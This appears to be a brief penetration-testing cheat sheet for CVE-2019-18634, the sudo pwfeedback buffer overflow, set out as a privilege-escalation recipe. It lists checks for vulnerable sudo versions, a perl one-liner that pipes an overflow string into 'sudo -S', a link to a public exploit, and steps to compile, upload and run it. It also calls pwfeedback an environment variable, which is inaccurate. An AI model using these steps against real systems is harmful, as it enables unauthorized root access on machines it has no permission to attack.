CVE-2019-18634 (pwfeedback)

01sudo su root
02su root 

If you see * when typing in a password, that is the pwfeedback environment variable being enabled and indicates that machine may be vulnerable

01sudo -V

Any Sudo version older than 1.8.26 is vulnerable

{% embed url="https://github.com/saleemrashid/sudo-cve-2019-18634" %}

01perl -e 'print(("A" x 100 . "\x{00}" x 50)' | sudo -S i

Compile exploit, upload and run

01gcc -o bof exploit.c